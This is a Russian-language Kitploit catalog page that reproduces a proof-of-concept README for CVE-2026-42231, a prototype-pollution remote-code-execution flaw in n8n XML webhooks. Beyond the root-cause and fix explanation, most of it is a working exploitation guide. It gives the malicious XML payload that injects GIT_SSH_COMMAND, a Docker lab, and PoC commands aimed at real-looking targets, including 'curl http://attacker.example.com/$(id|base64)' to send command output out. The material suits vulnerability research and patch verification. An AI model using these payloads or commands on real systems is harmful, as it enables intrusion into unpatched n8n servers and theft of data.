Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-42231 — Доказательство концепции эксплуатации для CVE-2026-42231 — критической уязвимости загрязнения прототипа в XML-вебхуках n8n, приводящей к удалённому выполнению кода. Включает Docker-лабораторию, PoC на Python и верификатор на Node.js. | Kitploit
Инструменты/GitHubGitHub/rudsarkar/cve-2026-42231
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасность
GitHubrudsarkar/cve-2026-42231

CVE-2026-42231

Доказательство концепции эксплуатации для CVE-2026-42231 — критической уязвимости загрязнения прототипа в XML-вебхуках n8n, приводящей к удалённому выполнению кода. Включает Docker-лабораторию, PoC на Python и верификатор на Node.js.

Репозиторий
144 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

GHSA-q5f4-99jv-pgg5 — Загрязнение прототипа XML-вебхука n8n → RCE

CVE: CVE-2026-42231
Серьёзность: Критическая (CVSS 10.0)
Затронуты: n8n < 1.123.32 / < 2.17.4 / < 2.18.1
Исправлено в: n8n 1.123.32 / 2.17.4 / 2.18.1


Сводка уязвимости

packages/cli/src/middlewares/body-parser.ts создаёт синглтон xml2js Parser на уровне модуля без tagNameProcessors или attrNameProcessors. Это позволяет атакующему отправить XML-тело вебхука, содержащее элемент <__proto__>.

xml2js 0.6.2 использует Object.defineProperty с дескриптором данных для установки ключей элементов на разобранных объектах. Поскольку всегда возвращает , оборачивает значение в массив и сохраняет его как — обходя аксессор , который обычно безопасно обновляет цепочку прототипов.

'__proto__' in obj
true
assignOrPush()
собственное перечисляемое свойство данных
[[Set]]

Собственное свойство __proto__ переживает JSON.stringify (выполняемый, когда n8n сохраняет данные выполнения в SQLite/PostgreSQL), а после JSON.parse при перезагрузке последующий Object.assign(target, reloadedBody) перенаправляет прототип target на объект, контролируемый атакующим.

В рабочих процессах, которые также содержат узел Git, выполняющий SSH-операцию, загрязнённый прототип раскрывает значение spawnOptions / GIT_SSH_COMMAND для simple-git's createInstanceConfig, обеспечивая выполнение команд на уровне ОС.


Первопричина

root@kitploit:~
// packages/cli/src/middlewares/body-parser.ts  (УЯЗВИМО — < 1.123.32)
const xmlParser = new XmlParser({
    async: true,
    normalize: true,
    normalizeTags: true,   // приводит теги к нижнему регистру — но НЕ блокирует __proto__
    explicitArray: false,
    // ← НЕТ tagNameProcessors
    // ← НЕТ attrNameProcessors
});

Исправление (>= 1.123.32):

root@kitploit:~
function sanitizeXmlName(name: string): string {
    const unsafe = new Set(['__proto__', 'constructor', 'prototype']);
    return unsafe.has(name) ? `sanitized_${name}` : name;
}
const xmlParser = new XmlParser({
    async: true,
    normalize: true,
    normalizeTags: true,
    explicitArray: false,
    tagNameProcessors:  [sanitizeXmlName],
    attrNameProcessors: [sanitizeXmlName],
});

Цепочка эксплуатации

root@kitploit:~
1. Атакующий отправляет XML POST на публичный триггер Webhook:

      POST /webhook/<id>  Content-Type: application/xml
      <?xml version="1.0" encoding="UTF-8"?>
      <root>
        <__proto__>
          <env GIT_SSH_COMMAND="attacker_cmd"/>
          <spawnoptions><shell>true</shell></spawnoptions>
        </__proto__>
      </root>

2. Парсер тела xml2js создаёт req.body.root, где '__proto__' — это
   СОБСТВЕННОЕ ПЕРЕЧИСЛЯЕМОЕ СВОЙСТВО ДАННЫХ:
      Object.getOwnPropertyDescriptor(req.body.root, '__proto__')
      → { value: [{}, {env: {$: {GIT_SSH_COMMAND: '...'}}, ...}],
          enumerable: true, writable: true, configurable: true }

3. deepCopy() в n8n перебирает собственные ключи через for...in + hasOwnProp.
   Присваивание  clone['__proto__'] = deepCopy(attackerArray)
   молча заменяет прототип clone через аксессор [[Set]].

4. n8n сериализует данные выполнения в БД:
      JSON.stringify(body.root)
      → '{"__proto__":[{},{"env":...,"spawnoptions":...}],"data":"..."}'
   Ключ __proto__ включается, потому что он собственный и перечисляемый.
   Подтверждено в таблице execution_data в SQLite.

5. При перезагрузке JSON.parse воссоздаёт '__proto__' как собственное свойство
   данных (обычный объект, без обёртки массива).
      Object.assign(gitOptions, reloadedBody)
   перенаправляет прототип gitOptions на объект, контролируемый атакующим.

6. Когда узел Git вызывает simpleGit(gitOptions):
      createInstanceConfig(gitOptions)
   читает config.spawnOptions через цепочку прототипов → истинно →
   регистрируется spawnOptionsPlugin.
   С GIT_SSH_COMMAND в объекте env git выполняет команду атакующего
   при следующей SSH-операции.

Примечание о normalizeTags

normalizeTags: true приводит все имена XML-тегов к нижнему регистру, поэтому дочерние элементы например <GIT_SSH_COMMAND> становятся git_ssh_command в разобранном объекте. Чтобы сохранить регистр для имён переменных окружения, используйте XML-атрибуты (имена атрибутов не нормализуются normalizeTags):

root@kitploit:~
<env GIT_SSH_COMMAND="attacker_cmd"/>

Предварительные условия

  1. Публичный триггер Webhook (Аутентификация = Нет, Content-Type = XML) должен существовать в активном рабочем процессе.
  2. Для полного пути RCE рабочий процесс также должен содержать узел Git, выполняющий операцию с SSH-аутентификацией (clone / push через SSH URL).
  3. Версия n8n < 1.123.32.

Настройка лаборатории

Требования

  • Docker ≥ 24 с Compose v2
  • Python 3.9+ (для автономного использования PoC без Docker)
  • Порт 5678 свободен на localhost

Настройка одной командой

root@kitploit:~
chmod +x exploit.sh
./exploit.sh setup

Эта команда загружает n8nio/n8n:1.123.22 (последняя затронутая версия), собирает образ атакующего, запускает уязвимую цель на http://localhost:5678, автоматически создаёт и активирует рабочий процесс вебхука и сохраняет URL вебхука в .webhook_state.


Пошаговое руководство по эксплуатации

1. Настройка

root@kitploit:~
./exploit.sh setup

Ожидаемый вывод (сокращён):

root@kitploit:~
[*] Загрузка уязвимого образа n8n (1.123.22) ...
[*] Сборка образа атакующего ...
[*] Запуск уязвимой цели n8n ...
[*] Ожидание готовности n8n ...
[*] Создание рабочего процесса вебхука (Webhook → узел Code) ...
[+] Лаборатория готова.

    Запустите:  ./exploit.sh demo        # проверка примитива загрязнения
                ./exploit.sh exploit     # доставка всех трёх RCE-пейлоадов

2. Проверка примитива загрязнения (режим demo)

root@kitploit:~
./exploit.sh demo

PoC отправляет проверочный пейлоад и показывает разобранное тело, возвращённое из рабочего процесса n8n. Уязвимый экземпляр возвращает:

root@kitploit:~
[+] HTTP 200
    Response: {"step1_ownEnumerableProto":true,
               "step1_descriptor":{"enumerable":true,
                 "value":"[{},{\"polluted\":\"GHSA-q5f4-99jv-pgg5-CONFIRMED\"}]"},
               "step2_deepCopySimulated":true,
               "step3_jsonRoundTripOwn":true,
               "step3_jsonStr":"{\"__proto__\":[...],\"legit\":\"harmless-data\"}",
               "step4_objectAssignPolluted":true, ...}

3. Доставка пейлоадов с намерением RCE

root@kitploit:~
./exploit.sh exploit
# или с пользовательской командой:
./exploit.sh exploit "curl http://attacker.example.com/\$(id|base64)"

Доставляются три дополняющих пейлоада:

ПейлоадТехника
AТег <__proto__> — GIT_SSH_COMMAND как XML-атрибут
BЦепочка <constructor><prototype>
CВложенный <__proto__> с атрибутами env

4. Наблюдение за результатом (с узлом Git в рабочем процессе)

  • В журнале выполнения n8n найдите ошибку git-команды — она будет содержать вывод вашей внедрённой GIT_SSH_COMMAND, если RCE сработал.
  • В режиме demo с узлом Code тело ответа рабочего процесса будет содержать "step4_objectAssignPolluted": true, подтверждающее цепочку.

Автономное использование (без Docker)

root@kitploit:~
pip install -r requirements.txt

# Только проверка — узел Git не требуется:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
    --target http://n8n.target.com \
    --webhook-id <webhook-path> \
    --demo

# Полная эксплуатация — требуется рабочий процесс Webhook + Git/SSH:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
    --target http://n8n.target.com \
    --webhook-id <webhook-path> \
    --cmd 'curl http://attacker.example.com/$(id|base64)'

Формат URL вебхука (n8n v1.123.x)

В некоторых развёртываниях n8n регистрирует вебхук как /webhook/<workflowId>/webhook/<path>. Если короткая форма /webhook/<path> возвращает 404, передайте префикс ID рабочего процесса как --target:

root@kitploit:~
python3 poc_GHSA-q5f4-99jv-pgg5.py \
    --target "http://n8n.target.com/webhook/<workflowId>" \
    --webhook-id <path> \
    --demo

Локальная проверка (Node.js, без живого экземпляра)

Воспроизводит точную конфигурацию парсера xml2js, используемую n8n, и проходит все четыре этапа цепочки:

root@kitploit:~
cd /tmp/xml2js-test && npm install [email protected]
node /path/to/verify_GHSA-q5f4-99jv-pgg5.js

Ожидаемый вывод на уязвимой конфигурации:

root@kitploit:~
[ШАГ 1] УЯЗВИМО — '__proto__' является собственным перечисляемым свойством данных
         descriptor: { value: '[Object.prototype, {"polluted":"CONFIRMED"}]',
                       enumerable: true, writable: true, configurable: true }
[ШАГ 1] Исправленный парсер переименовал __proto__ в sanitized___proto__
[ШАГ 2] Прототип deepCopy изменён → clone proto[1].polluted = "CONFIRMED"
[ШАГ 3] После JSON round-trip + Object.assign → target.polluted = "undefined"
[ RCE ]  Если target используется как конфигурация simpleGit И прототип раскрывает
         например { spawnOptions: { shell: true } }, git будет запущен через оболочку
[ШАГ 4] mockGitConfig.spawnOptions = {"shell":"/bin/bash"} (найдено через цепочку прототипов)
[ RCE ]  simpleGit вызовет: spawnOptionsPlugin(config.spawnOptions)
══ РЕЗУЛЬТАТ: Экземпляр использует УЯЗВИМУЮ конфигурацию xml2js (без sanitizeXmlName) ══

Ручные команды Docker

root@kitploit:~
# Сборка образа атакующего
docker build -t n8n-proto-pollution-poc .

# Режим demo (подключение к общей сети лаборатории)
docker run --rm --network ghsa-q5f4-99jv-pgg5_lab \
    n8n-proto-pollution-poc \
    --target http://n8n-vuln:5678/webhook/<workflowId> \
    --webhook-id cve-2026-42231-poc \
    --demo

# Полная эксплуатация
docker run --rm --network ghsa-q5f4-99jv-pgg5_lab \
    n8n-proto-pollution-poc \
    --target http://n8n-vuln:5678/webhook/<workflowId> \
    --webhook-id cve-2026-42231-poc \
    --cmd 'curl http://attacker.example.com/$(id|base64)'

# Против внешней цели (флаг сети не нужен)
docker run --rm n8n-proto-pollution-poc \
    --target https://n8n.example.com \
    --webhook-id <path> \
    --demo

Очистка

root@kitploit:~
./exploit.sh clean

Останавливает контейнеры и удаляет тома (включая базу данных SQLite).


Файлы

ФайлОписание
poc_GHSA-q5f4-99jv-pgg5.pyАвтономный Python HTTP PoC — три варианта XML-пейлоада, режимы --demo и --cmd
verify_GHSA-q5f4-99jv-pgg5.jsЛокальный верификатор цепочки на Node.js — проходит все 4 этапа эксплуатации без живого экземпляра
DockerfileОбраз контейнера атакующего
docker-compose.ymlПолная лаборатория: уязвимый n8n + контейнер атакующего
exploit.shВспомогательный скрипт для настройки, demo, эксплуатации и очистки
requirements.txtЗависимости Python

Ссылки

  • GHSA-q5f4-99jv-pgg5
  • Журнал изменений n8n 1.123.32
  • xml2js assignOrPush — дескриптор данных Object.defineProperty
  • Загрязнение прототипа через Object.defineProperty
Скачать инструмент